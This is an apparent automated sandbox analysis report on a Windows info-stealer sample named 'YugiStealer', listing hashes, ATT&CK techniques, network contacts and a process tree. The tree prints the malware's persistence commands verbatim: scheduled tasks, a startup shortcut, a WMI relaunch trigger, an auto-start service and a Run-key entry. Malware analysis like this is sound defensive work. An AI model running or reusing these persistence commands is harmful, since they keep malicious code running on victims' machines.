a257d0b5585c82165724fd5ae3301bc0ffb9155765618aee97ce0e8b0aa963a7

Analysis

max time kernel
11s
max time network
155s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
11/07/2026, 18:25

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
a257d0b5585c82165724fd5ae3301bc0ffb9155765618aee97ce0e8b0aa963a7.exe
Size 6.2MB
Sample260711-w2n4eaay7s
SHA256 a257d0b5585c82165724fd5ae3301bc0ffb9155765618aee97ce0e8b0aa963a7
MD5 04305ca3be61c9877dff7f04f2474628
SHA1 2d17d8ea5e1b7590f75d710bc336a834f6152139
SHA512 ec5f10e545a9970cb0de341bd57e4c2c0f3f694c6a00a78bc705b1ec97b2b46b058d53e39996d25c629c58a2e747a4104b1d5513ba5d2583c170ceb8c01b9196
SSDEEP 49152:rh1qCdh3gyv3AaV5aa9eDn/eMxSQFvruDUzGp1GJx8Fml5JdrXgk0pA9k8l7VyEt:KcarrBbuyvlx/p30v3+tK4
TLSH
T1F9665C12BA6A54ADC15AC474C3468633AA7130CA1B35BAFF45D486793F6AEF11F3C318
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion discovery execution persistence

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 64 IoCs

Start PowerShell.

execution

PowerShell

T1059.001

pid	Process
3972	powershell.exe
6796	powershell.exe
8480	powershell.exe
8956	powershell.exe
7212	Process not Found
8480	Process not Found
3936	powershell.exe
3812	powershell.exe
6580	powershell.exe
8336	powershell.exe
7328	powershell.exe
10264	powershell.exe
7724	powershell.exe
9880	powershell.exe
3368	powershell.exe
7756	powershell.exe
7864	powershell.exe
6316	Process not Found
10232	Process not Found
8632	powershell.exe
7788	powershell.exe
7736	powershell.exe
10076	powershell.exe
8976	powershell.exe
13188	Process not Found
1196	powershell.exe
4736	powershell.exe
8172	powershell.exe
7640	powershell.exe
8576	powershell.exe
9256	powershell.exe
9588	powershell.exe
12340	Process not Found
4708	powershell.exe
3544	powershell.exe
7904	powershell.exe
7896	powershell.exe
6316	powershell.exe
12544	Process not Found
11432	Process not Found
2500	powershell.exe
6912	powershell.exe
7972	powershell.exe
952	powershell.exe
8344	powershell.exe
8980	powershell.exe
7328	powershell.exe
3928	powershell.exe
11384	powershell.exe
9056	Process not Found
6412	powershell.exe
9228	powershell.exe
2164	Process not Found
13332	Process not Found
13264	Process not Found
2384	powershell.exe
6456	powershell.exe
8580	powershell.exe
9916	powershell.exe
8160	powershell.exe
6760	powershell.exe
6104	Process not Found
13804	Process not Found
6108	powershell.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002

Drops startup file 5 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\csrss.exe	a257d0b5585c82165724fd5ae3301bc0ffb9155765618aee97ce0e8b0aa963a7.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe	winlogon.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe	csrss.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\services.exe	lsass.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\YugiStealer.lnk	powershell.exe

Executes dropped EXE 5 IoCs

pid	Process
2976	winlogon.exe
4280	csrss.exe
2472	lsass.exe
2540	lsass.exe
4692	a257d0b5585c82165724fd5ae3301bc0ffb9155765618aee97ce0e8b0aa963a7.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Contacts third-party web service commonly abused for C2 1 TTPs 3 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
1	discord.com
93	discord.com
124	discord.com

Looks up external IP address via web service 27 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
221	ifconfig.me
251	ifconfig.me
252	ifconfig.me
300	ifconfig.me
1	api.ipify.org
1	icanhazip.com
159	ifconfig.me
204	ifconfig.me
232	ifconfig.me
269	ifconfig.me
282	ifconfig.me
290	ifconfig.me
198	ifconfig.me
66	ifconfig.me
71	ifconfig.me
74	ifconfig.me
91	ifconfig.me
103	api.ipify.org
131	api.ipify.org
197	ifconfig.me
173	ifconfig.me
190	ifconfig.me
263	ifconfig.me
273	ifconfig.me
286	ifconfig.me
304	ifconfig.me
1	ifconfig.me

Detect suspicious telegram bot 24 IoCs

Detect suspicious telegram bot.

resource	yara_rule
behavioral2/memory/3232-0-0x00007FF626A80000-0x00007FF6270B4000-memory.dmp	suspicious_telegram_bot
behavioral2/files/0x000a00000001b85c-5.dat	suspicious_telegram_bot
behavioral2/memory/2976-7-0x00007FF7B3FD0000-0x00007FF7B4604000-memory.dmp	suspicious_telegram_bot
behavioral2/memory/4280-18-0x00007FF684770000-0x00007FF684DA4000-memory.dmp	suspicious_telegram_bot
behavioral2/memory/2472-30-0x00007FF76D840000-0x00007FF76DE74000-memory.dmp	suspicious_telegram_bot
behavioral2/memory/2540-53-0x00007FF70E390000-0x00007FF70E9C4000-memory.dmp	suspicious_telegram_bot
behavioral2/memory/4692-69-0x00007FF626A80000-0x00007FF6270B4000-memory.dmp	suspicious_telegram_bot
behavioral2/memory/4804-86-0x00007FF700BF0000-0x00007FF701224000-memory.dmp	suspicious_telegram_bot
behavioral2/memory/3964-97-0x00007FF7B3FD0000-0x00007FF7B4604000-memory.dmp	suspicious_telegram_bot
behavioral2/memory/1540-122-0x00007FF76D840000-0x00007FF76DE74000-memory.dmp	suspicious_telegram_bot
behavioral2/memory/1988-127-0x00007FF75B350000-0x00007FF75B984000-memory.dmp	suspicious_telegram_bot
behavioral2/memory/5740-137-0x00007FF684770000-0x00007FF684DA4000-memory.dmp	suspicious_telegram_bot
behavioral2/memory/1692-154-0x00007FF767D40000-0x00007FF768374000-memory.dmp	suspicious_telegram_bot
behavioral2/memory/4840-187-0x00007FF6CC650000-0x00007FF6CCC84000-memory.dmp	suspicious_telegram_bot
behavioral2/memory/6216-218-0x00007FF711990000-0x00007FF711FC4000-memory.dmp	suspicious_telegram_bot
behavioral2/memory/2820-260-0x00007FF623D40000-0x00007FF624374000-memory.dmp	suspicious_telegram_bot
behavioral2/memory/9196-386-0x00007FF767D40000-0x00007FF768374000-memory.dmp	suspicious_telegram_bot
behavioral2/memory/724-391-0x00007FF6CC650000-0x00007FF6CCC84000-memory.dmp	suspicious_telegram_bot
behavioral2/memory/7508-400-0x00007FF70E390000-0x00007FF70E9C4000-memory.dmp	suspicious_telegram_bot
behavioral2/memory/2680-409-0x00007FF684770000-0x00007FF684DA4000-memory.dmp	suspicious_telegram_bot
behavioral2/memory/8892-491-0x00007FF75B350000-0x00007FF75B984000-memory.dmp	suspicious_telegram_bot
behavioral2/memory/10616-659-0x00007FF700BF0000-0x00007FF701224000-memory.dmp	suspicious_telegram_bot
behavioral2/memory/10816-682-0x00007FF623D40000-0x00007FF624374000-memory.dmp	suspicious_telegram_bot
behavioral2/memory/10268-683-0x00007FF711990000-0x00007FF711FC4000-memory.dmp	suspicious_telegram_bot

Drops file in System32 directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe	a257d0b5585c82165724fd5ae3301bc0ffb9155765618aee97ce0e8b0aa963a7.exe
File opened for modification	C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.exe	winlogon.exe
File opened for modification	C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.exe	csrss.exe
File opened for modification	C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\services.exe	lsass.exe

Enumerates processes with tasklist 1 TTPs 22 IoCs

discovery

Process Discovery

T1057

pid	Process
9836	tasklist.exe
10940	tasklist.exe
9012	tasklist.exe
12552	tasklist.exe
10652	Process not Found
3440	tasklist.exe
5000	tasklist.exe
12220	tasklist.exe
3476	tasklist.exe
6336	tasklist.exe
408	Process not Found
7176	Process not Found
13988	Process not Found
12780	Process not Found
10932	tasklist.exe
8168	tasklist.exe
12696	tasklist.exe
6372	Process not Found
11912	Process not Found
11080	Process not Found
6184	tasklist.exe
8172	tasklist.exe

Hide Artifacts: Hidden Files and Directories 1 TTPs 64 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
13620	Process not Found
8528	cmd.exe
8376	cmd.exe
11060	Process not Found
10964	Process not Found
12196	Process not Found
4192	Process not Found
8780	Process not Found
8736	cmd.exe
12856	Process not Found
12236	Process not Found
7796	cmd.exe
8412	cmd.exe
8296	cmd.exe
10160	cmd.exe
12616	Process not Found
1188	Process not Found
7112	cmd.exe
8284	cmd.exe
9236	cmd.exe
4200	Process not Found
2712	Process not Found
4864	cmd.exe
2996	cmd.exe
10368	cmd.exe
9792	cmd.exe
3960	Process not Found
6980	cmd.exe
8540	Process not Found
8548	Process not Found
12468	Process not Found
12976	Process not Found
6968	cmd.exe
108	cmd.exe
10100	cmd.exe
8696	cmd.exe
1088	Process not Found
6008	Process not Found
14232	Process not Found
14304	Process not Found
10360	cmd.exe
13952	Process not Found
7444	Process not Found
3684	Process not Found
13096	Process not Found
11304	Process not Found
7160	Process not Found
11944	Process not Found
6488	cmd.exe
6824	cmd.exe
9920	cmd.exe
12472	cmd.exe
7120	Process not Found
11936	Process not Found
3224	Process not Found
9272	Process not Found
6988	cmd.exe
3972	cmd.exe
6840	cmd.exe
6404	cmd.exe
9616	cmd.exe
12576	Process not Found
7064	Process not Found
12296	Process not Found

Drops file in Windows directory 6 IoCs

description	ioc	Process
File opened for modification	C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe	a257d0b5585c82165724fd5ae3301bc0ffb9155765618aee97ce0e8b0aa963a7.exe
File opened for modification	C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe	winlogon.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe	a257d0b5585c82165724fd5ae3301bc0ffb9155765618aee97ce0e8b0aa963a7.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe	winlogon.exe
File opened for modification	C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.exe	csrss.exe
File opened for modification	C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\csrss.exe	lsass.exe

Launches sc.exe 37 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3928	sc.exe
8300	sc.exe
7780	sc.exe
9040	sc.exe
10680	sc.exe
5672	sc.exe
6424	sc.exe
8492	sc.exe
8644	sc.exe
8960	sc.exe
10076	sc.exe
8248	Process not Found
8396	sc.exe
1056	sc.exe
8660	sc.exe
7836	sc.exe
8984	sc.exe
8900	sc.exe
13196	sc.exe
3320	sc.exe
9120	sc.exe
9036	sc.exe
9912	sc.exe
13560	Process not Found
7832	sc.exe
5416	sc.exe
8672	sc.exe
12732	Process not Found
4528	sc.exe
8652	sc.exe
10872	sc.exe
13020	Process not Found
11268	Process not Found
5544	Process not Found
2380	sc.exe
5728	sc.exe
8800	sc.exe

Delays execution with timeout.exe 64 IoCs

defense_evasion

pid	Process
10420	timeout.exe
10208	timeout.exe
13216	timeout.exe
12776	Process not Found
10120	Process not Found
6808	timeout.exe
8980	Process not Found
10920	Process not Found
13920	Process not Found
14592	Process not Found
6512	timeout.exe
10356	timeout.exe
10536	timeout.exe
12456	Process not Found
5864	Process not Found
10392	Process not Found
1564	timeout.exe
6068	timeout.exe
12612	timeout.exe
13336	Process not Found
13804	Process not Found
2240	Process not Found
14620	Process not Found
14416	Process not Found
8060	timeout.exe
1416	timeout.exe
4596	timeout.exe
6316	timeout.exe
12088	timeout.exe
11268	Process not Found
7128	timeout.exe
12912	Process not Found
13576	Process not Found
14920	Process not Found
6456	timeout.exe
7032	timeout.exe
11096	timeout.exe
10660	Process not Found
8824	Process not Found
5544	timeout.exe
11912	timeout.exe
10848	Process not Found
10688	Process not Found
10876	Process not Found
7352	Process not Found
724	timeout.exe
7268	timeout.exe
8224	timeout.exe
13640	Process not Found
4192	Process not Found
9340	Process not Found
13880	Process not Found
4192	timeout.exe
1724	timeout.exe
9364	timeout.exe
8136	timeout.exe
6772	timeout.exe
3864	timeout.exe
10636	timeout.exe
6820	timeout.exe
14180	Process not Found
11776	Process not Found
5868	Process not Found
9976	timeout.exe

Kills process with taskkill 11 IoCs

defense_evasion

pid	Process
7504	taskkill.exe
11960	taskkill.exe
5768	taskkill.exe
12488	taskkill.exe
11900	Process not Found
14144	Process not Found
13944	Process not Found
14928	Process not Found
9584	Process not Found
9956	taskkill.exe
7288	taskkill.exe

Modifies registry key 1 TTPs 46 IoCs

Modify Registry

T1112

pid	Process
8420	reg.exe
4244	reg.exe
13664	Process not Found
8708	Process not Found
12348	Process not Found
4924	reg.exe
5016	reg.exe
5804	reg.exe
5260	reg.exe
3904	reg.exe
5768	reg.exe
6568	reg.exe
8876	reg.exe
6952	reg.exe
7784	reg.exe
12436	Process not Found
13780	Process not Found
2384	Process not Found
7504	reg.exe
9132	reg.exe
13132	reg.exe
13048	Process not Found
13844	Process not Found
5468	Process not Found
4576	reg.exe
6900	reg.exe
8088	reg.exe
7112	reg.exe
10088	reg.exe
10848	reg.exe
5752	Process not Found
9252	Process not Found
2000	reg.exe
1664	reg.exe
4780	reg.exe
7540	reg.exe
11924	reg.exe
12184	reg.exe
12108	reg.exe
840	reg.exe
5204	reg.exe
5692	reg.exe
8152	reg.exe
9316	Process not Found
12536	Process not Found
10436	Process not Found

Scheduled Task/Job: Scheduled Task 1 TTPs 64 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
6972	schtasks.exe
3972	schtasks.exe
4296	schtasks.exe
1900	schtasks.exe
7004	schtasks.exe
8664	schtasks.exe
1028	schtasks.exe
7992	schtasks.exe
5672	schtasks.exe
1124	schtasks.exe
8424	schtasks.exe
2904	schtasks.exe
10132	schtasks.exe
11964	schtasks.exe
3956	schtasks.exe
9016	schtasks.exe
8236	schtasks.exe
8396	schtasks.exe
8340	schtasks.exe
3084	schtasks.exe
8992	schtasks.exe
3388	schtasks.exe
2968	schtasks.exe
5016	schtasks.exe
8236	schtasks.exe
8540	schtasks.exe
9000	schtasks.exe
12148	schtasks.exe
9588	schtasks.exe
7396	schtasks.exe
4440	schtasks.exe
3996	schtasks.exe
3116	schtasks.exe
8900	schtasks.exe
10984	schtasks.exe
8336	Process not Found
8968	schtasks.exe
5736	schtasks.exe
3824	schtasks.exe
1160	schtasks.exe
7052	schtasks.exe
8232	schtasks.exe
4580	schtasks.exe
3208	schtasks.exe
7928	schtasks.exe
8412	schtasks.exe
2128	schtasks.exe
7628	schtasks.exe
2992	schtasks.exe
6260	schtasks.exe
6376	schtasks.exe
9056	schtasks.exe
5692	schtasks.exe
9144	schtasks.exe
10784	schtasks.exe
9952	schtasks.exe
1056	schtasks.exe
692	schtasks.exe
1280	schtasks.exe
4144	schtasks.exe
6008	schtasks.exe
3304	schtasks.exe
10684	Process not Found
12324	Process not Found

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
1196	powershell.exe
1196	powershell.exe
1196	powershell.exe
3936	powershell.exe
3936	powershell.exe
4736	powershell.exe
4736	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	1196	powershell.exe
Token: SeDebugPrivilege	3936	powershell.exe
Token: SeDebugPrivilege	4736	powershell.exe

Suspicious use of WriteProcessMemory 57 IoCs

description	pid	Process	procid_target
PID 3232 wrote to memory of 6020	3232	a257d0b5585c82165724fd5ae3301bc0ffb9155765618aee97ce0e8b0aa963a7.exe	87
PID 6020 wrote to memory of 2432	6020	cmd.exe	89
PID 3232 wrote to memory of 4252	3232	a257d0b5585c82165724fd5ae3301bc0ffb9155765618aee97ce0e8b0aa963a7.exe	92
PID 4252 wrote to memory of 4440	4252	cmd.exe	94
PID 3232 wrote to memory of 5700	3232	a257d0b5585c82165724fd5ae3301bc0ffb9155765618aee97ce0e8b0aa963a7.exe	96
PID 2976 wrote to memory of 1256	2976	winlogon.exe	97
PID 5700 wrote to memory of 4580	5700	cmd.exe	100
PID 1256 wrote to memory of 4336	1256	cmd.exe	101
PID 3232 wrote to memory of 1488	3232	a257d0b5585c82165724fd5ae3301bc0ffb9155765618aee97ce0e8b0aa963a7.exe	103
PID 1488 wrote to memory of 5672	1488	cmd.exe	227
PID 2976 wrote to memory of 3496	2976	winlogon.exe	107
PID 3496 wrote to memory of 2696	3496	cmd.exe	443
PID 4280 wrote to memory of 5796	4280	csrss.exe	110
PID 5796 wrote to memory of 2804	5796	cmd.exe	465
PID 3232 wrote to memory of 3516	3232	a257d0b5585c82165724fd5ae3301bc0ffb9155765618aee97ce0e8b0aa963a7.exe	113
PID 3516 wrote to memory of 248	3516	cmd.exe	185
PID 2976 wrote to memory of 256	2976	winlogon.exe	116
PID 4280 wrote to memory of 4472	4280	csrss.exe	119
PID 256 wrote to memory of 3476	256	cmd.exe	335
PID 4472 wrote to memory of 1124	4472	cmd.exe	122
PID 3232 wrote to memory of 5996	3232	a257d0b5585c82165724fd5ae3301bc0ffb9155765618aee97ce0e8b0aa963a7.exe	123
PID 2976 wrote to memory of 4932	2976	winlogon.exe	125
PID 2472 wrote to memory of 2684	2472	lsass.exe	128
PID 5996 wrote to memory of 4712	5996	cmd.exe	130
PID 4932 wrote to memory of 3848	4932	cmd.exe	131
PID 4280 wrote to memory of 3900	4280	csrss.exe	132
PID 2684 wrote to memory of 2936	2684	cmd.exe	134
PID 3900 wrote to memory of 4628	3900	cmd.exe	195
PID 3232 wrote to memory of 3632	3232	a257d0b5585c82165724fd5ae3301bc0ffb9155765618aee97ce0e8b0aa963a7.exe	136
PID 2472 wrote to memory of 3572	2472	lsass.exe	139
PID 3632 wrote to memory of 3388	3632	cmd.exe	141
PID 3572 wrote to memory of 3208	3572	cmd.exe	302
PID 2976 wrote to memory of 3272	2976	winlogon.exe	143
PID 3232 wrote to memory of 3180	3232	a257d0b5585c82165724fd5ae3301bc0ffb9155765618aee97ce0e8b0aa963a7.exe	145
PID 4280 wrote to memory of 1536	4280	csrss.exe	147
PID 3272 wrote to memory of 692	3272	cmd.exe	149
PID 3180 wrote to memory of 5692	3180	cmd.exe	150
PID 1536 wrote to memory of 3996	1536	cmd.exe	151
PID 3232 wrote to memory of 556	3232	a257d0b5585c82165724fd5ae3301bc0ffb9155765618aee97ce0e8b0aa963a7.exe	152
PID 556 wrote to memory of 2620	556	cmd.exe	154
PID 3232 wrote to memory of 1196	3232	a257d0b5585c82165724fd5ae3301bc0ffb9155765618aee97ce0e8b0aa963a7.exe	220
PID 2472 wrote to memory of 2116	2472	lsass.exe	157
PID 2116 wrote to memory of 2968	2116	cmd.exe	159
PID 4280 wrote to memory of 4788	4280	csrss.exe	161
PID 2976 wrote to memory of 3716	2976	winlogon.exe	163
PID 2540 wrote to memory of 6052	2540	lsass.exe	164
PID 4788 wrote to memory of 3752	4788	cmd.exe	644
PID 2472 wrote to memory of 804	2472	lsass.exe	168
PID 3716 wrote to memory of 2716	3716	cmd.exe	377
PID 6052 wrote to memory of 3360	6052	cmd.exe	171
PID 3232 wrote to memory of 3936	3232	a257d0b5585c82165724fd5ae3301bc0ffb9155765618aee97ce0e8b0aa963a7.exe	829
PID 804 wrote to memory of 1552	804	cmd.exe	1029
PID 2976 wrote to memory of 4936	2976	winlogon.exe	176
PID 4936 wrote to memory of 2704	4936	cmd.exe	379
PID 2976 wrote to memory of 4104	2976	winlogon.exe	179
PID 4104 wrote to memory of 1736	4104	cmd.exe	181
PID 2976 wrote to memory of 4736	2976	winlogon.exe	1800

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 64 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
6924	attrib.exe
4924	attrib.exe
5016	attrib.exe
4836	attrib.exe
8628	attrib.exe
9704	Process not Found
15180	Process not Found
7472	attrib.exe
10776	attrib.exe
12012	attrib.exe
11324	Process not Found
11268	Process not Found
6760	attrib.exe
6500	attrib.exe
8848	attrib.exe
9240	attrib.exe
14440	Process not Found
11800	Process not Found
5204	attrib.exe
8320	Process not Found
10084	Process not Found
6068	Process not Found
12684	Process not Found
8484	attrib.exe
1492	attrib.exe
12432	Process not Found
10740	Process not Found
9564	Process not Found
1664	attrib.exe
10564	attrib.exe
9500	attrib.exe
7988	attrib.exe
9180	Process not Found
12980	Process not Found
12792	Process not Found
10928	Process not Found
4544	attrib.exe
7468	attrib.exe
9116	attrib.exe
3672	attrib.exe
13712	Process not Found
9960	Process not Found
5436	Process not Found
14592	Process not Found
12312	Process not Found
14212	Process not Found
5920	attrib.exe
580	attrib.exe
11020	attrib.exe
11284	Process not Found
13220	Process not Found
7732	Process not Found
15164	Process not Found
7956	attrib.exe
7296	attrib.exe
11868	attrib.exe
8540	Process not Found
8188	Process not Found
13976	Process not Found
6648	Process not Found
14044	Process not Found
12988	Process not Found
8840	Process not Found
4632	Process not Found

C:\Users\Admin\AppData\Local\Temp\a257d0b5585c82165724fd5ae3301bc0ffb9155765618aee97ce0e8b0aa963a7.exe
"C:\Users\Admin\AppData\Local\Temp\a257d0b5585c82165724fd5ae3301bc0ffb9155765618aee97ce0e8b0aa963a7.exe"
1⤵
- Drops startup file
- Drops file in System32 directory
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:3232
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerCopy1\" /tr \"C:\Windows\Temp\winlogon.exe\" /sc onlogon /f /rl highest"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:6020
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerCopy1\" /tr \"C:\Windows\Temp\winlogon.exe\" /sc onlogon /f /rl highest
    3⤵
    PID:2432
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerCopy2\" /tr \"C:\Users\Public\Documents\csrss.exe\" /sc onlogon /f /rl highest"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4252
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerCopy2\" /tr \"C:\Users\Public\Documents\csrss.exe\" /sc onlogon /f /rl highest
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4440
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerCopy3\" /tr \"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\csrss.exe\" /sc onlogon /f /rl highest"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5700
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerCopy3\" /tr \"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\csrss.exe\" /sc onlogon /f /rl highest
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4580
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerCopy4\" /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\csrss.exe\" /sc onlogon /f /rl highest"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1488
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerCopy4\" /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\csrss.exe\" /sc onlogon /f /rl highest
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5672
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerCopy5\" /tr \"C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe\" /sc onlogon /f /rl highest"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3516
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerCopy5\" /tr \"C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe\" /sc onlogon /f /rl highest
    3⤵
    PID:248
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerCopy6\" /tr \"C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe\" /sc onlogon /f /rl highest"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5996
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerCopy6\" /tr \"C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe\" /sc onlogon /f /rl highest
    3⤵
    PID:4712
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerCopy7\" /tr \"C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe\" /sc onlogon /f /rl highest"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3632
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerCopy7\" /tr \"C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe\" /sc onlogon /f /rl highest
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3388
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerStartup\" /tr \"C:\Users\Admin\AppData\Local\Temp\a257d0b5585c82165724fd5ae3301bc0ffb9155765618aee97ce0e8b0aa963a7.exe\" /sc onstart /f /rl highest"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3180
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerStartup\" /tr \"C:\Users\Admin\AppData\Local\Temp\a257d0b5585c82165724fd5ae3301bc0ffb9155765618aee97ce0e8b0aa963a7.exe\" /sc onstart /f /rl highest
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5692
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerLogon\" /tr \"C:\Users\Admin\AppData\Local\Temp\a257d0b5585c82165724fd5ae3301bc0ffb9155765618aee97ce0e8b0aa963a7.exe\" /sc onlogon /f /rl highest"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:556
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerLogon\" /tr \"C:\Users\Admin\AppData\Local\Temp\a257d0b5585c82165724fd5ae3301bc0ffb9155765618aee97ce0e8b0aa963a7.exe\" /sc onlogon /f /rl highest
    3⤵
    PID:2620
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command "$WshShell = New-Object -ComObject WScript.Shell; $Shortcut = $WshShell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\YugiStealer.lnk'); $Shortcut.TargetPath = \"C:\Users\Admin\AppData\Local\Temp\a257d0b5585c82165724fd5ae3301bc0ffb9155765618aee97ce0e8b0aa963a7.exe\"; $Shortcut.Save()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops startup file
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1196
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command "Register-WmiEvent -Query \"SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='winlogon.exe'\" -Action { Start-Process \"C:\Users\Admin\AppData\Local\Temp\a257d0b5585c82165724fd5ae3301bc0ffb9155765618aee97ce0e8b0aa963a7.exe\" }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3936
- C:\Windows\system32\cmd.exe
  "cmd" /c "sc create \"YugiStealerSvc\" binPath= \"C:\Users\Admin\AppData\Local\Temp\a257d0b5585c82165724fd5ae3301bc0ffb9155765618aee97ce0e8b0aa963a7.exe\" start= auto"
  2⤵
  PID:2028
- - C:\Windows\system32\sc.exe
    sc create \"YugiStealerSvc\" binPath= \"C:\Users\Admin\AppData\Local\Temp\a257d0b5585c82165724fd5ae3301bc0ffb9155765618aee97ce0e8b0aa963a7.exe\" start= auto
    3⤵
    - Launches sc.exe
    PID:2380
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v YugiStealer /t REG_SZ /d \"C:\Users\Admin\AppData\Local\Temp\a257d0b5585c82165724fd5ae3301bc0ffb9155765618aee97ce0e8b0aa963a7.exe\" /f"
  2⤵
  PID:4968
- - C:\Windows\system32\reg.exe
